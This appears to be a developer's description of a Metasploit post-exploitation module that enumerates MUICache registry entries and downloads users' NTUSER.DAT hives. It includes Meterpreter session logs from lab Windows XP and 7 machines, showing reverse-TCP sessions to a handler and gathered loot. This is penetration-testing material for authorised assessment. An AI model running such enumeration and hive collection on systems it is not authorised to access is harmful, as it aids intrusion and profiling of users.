Post Module: Enumerate MUICache registry key entries

Hello.

This post module enumerates registry key MUICache content that contains entries created by shell of different programs executed under each user account. The idea is to provide information about the environment by revealing interesting programs and/or malware that has executed previously on the system.

The module gathers MUICache entries differently depending if the user is logged in the system or not. If the user is currently logged on the system the module will access the registry directly and pull the information from the MUICache registry key. If the user is not logged in then the module downloads the hive NTUSER.DAT/UsrClass.dat from each users home directory and collects the registry key entries using registry library.


Msftidy:
```
jiuweigui@debian-msfdev:~/git/metasploit-framework/tools$ ./msftidy.rb ../modules/post/windows/gather/enum_muicache.rb
jiuweigui@debian-msfdev:~/git/metasploit-framework/tools$
```

WinXP regular user:
```
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.130
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.130:1050) at 2014-01-10 14:11:40 +0200

meterpreter > getuid
Server username: XP-E49FE0852877\restricted_user
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[-] Unsupported OS or not enough privileges. Unable to continue.
meterpreter >
```

WinXP admin user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.130
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.130:1051) at 2014-01-10 14:13:33 +0200

meterpreter > getuid
Server username: XP-E49FE0852877\xp-user
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[+] Remote system supported: Windows XP (Build 2600, Service Pack 3).
[*] Phase 1: Searching usernames..
[+] Found users: xp-user, restricted_user
[*] Phase 2: Searching registry hives..
[*] User xp-user: Enumerating registry..
[-] User restricted_user: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..
[*] Downloading restricted_user's NTUSER.DAT/USERCLASS.DAT file..
[+] Hive downloaded successfully.
[*] Phase 3: Parsing registry content..
[*] Phase 4: Processing results..

MUICache Information
====================

 Username         File path                                                                 File status
 --------         ---------                                                                 -----------
 restricted_user  \\vmware-host\Shared Folders\SharedDirectory\msf_reverse_tcp.exe          File found
 restricted_user  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe                         File found
 restricted_user  C:\WINDOWS\Explorer.EXE                                                   File found
 restricted_user  C:\WINDOWS\system32\cmd.exe                                               File found
 restricted_user  C:\WINDOWS\system32\ctfmon.exe                                            File found
 restricted_user  C:\WINDOWS\system32\VBoxTray.exe                                          File found
 xp-user          C:\Documents and Settings\xp-user\Desktop\msf_reverse_tcp.exe             File not found
 xp-user          C:\WINDOWS\system32\rundll32.exe                                          File found
 xp-user          C:\WINDOWS\regedit.exe                                                    File found
 xp-user          C:\Documents and Settings\xp-user\Desktop\new folder\msf_reverse_tcp.exe  File found
 xp-user          C:\Program Files\Internet Explorer\iexplore.exe                           File found
 xp-user          C:\WINDOWS\system32\cmd.exe                                               File found
 xp-user          C:\WINDOWS\Explorer.EXE                                                   File found
 xp-user          C:\WINDOWS\system32\ctfmon.exe                                            File found
 xp-user          C:\Program Files\VMware\VMware Tools\vmtoolsd.exe                         File found
 xp-user          C:\WINDOWS\system32\VBoxTray.exe                                          File found


[*] Results stored in: /home/jiuweigui/.msf4/loot/20140110141357_DevDB_10.5.5.130_muicache_info_155041.txt
[*] Execution finished.
meterpreter >
```

Win7 regular user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.129
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.129:49158) at 2014-01-10 14:18:54 +0200

meterpreter > getuid
Server username: WIN7-USER-PC\user1
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[-] Unsupported OS or not enough privileges. Unable to continue.
meterpreter >
```

Win7 admin user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.129
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.129:49162) at 2014-01-10 14:21:16 +0200

meterpreter > getuid
Server username: WIN7-USER-PC\WIN7-USER
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[+] Remote system supported: Windows 7 (Build 7600).
[*] Phase 1: Searching usernames..
[+] Found users: WIN7-USER, user1
[*] Phase 2: Searching registry hives..
[*] User WIN7-USER: Enumerating registry..
[-] User user1: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..
[*] Downloading user1's NTUSER.DAT/USERCLASS.DAT file..
[+] Hive downloaded successfully.
[*] Phase 3: Parsing registry content..
[*] Phase 4: Processing results..

MUICache Information
====================

 Username   File path                                                                 File status
 --------   ---------                                                                 -----------
 WIN7-USER  C:\Windows\system32\WFS.exe                                               File found
 WIN7-USER  C:\Users\WIN7-USER\Desktop\7z920.exe                                      File not found
 WIN7-USER  C:\Users\WIN7-USER\Desktop\msf_reverse_tcp.exe                            File found
 WIN7-USER  C:\Users\WIN7-USER\Desktop\Procmon.exe                                    File found
 WIN7-USER  \\vmware-host\Shared Folders\SharedDirectory\sdhash-3.3-win32\sdhash.exe  File found
 user1      C:\Windows\system32\WFS.exe                                               File found
 user1      C:\Users\user1\Desktop\meterpreter_reverse_tcp.exe                        File not found
 user1      C:\Users\user1\Desktop\msf_reverse_tcp.exe                                File found


[*] Results stored in: /home/jiuweigui/.msf4/loot/20140110142133_DevDB_10.5.5.129_muicache_info_188548.txt
[*] Execution finished.
meterpreter >
```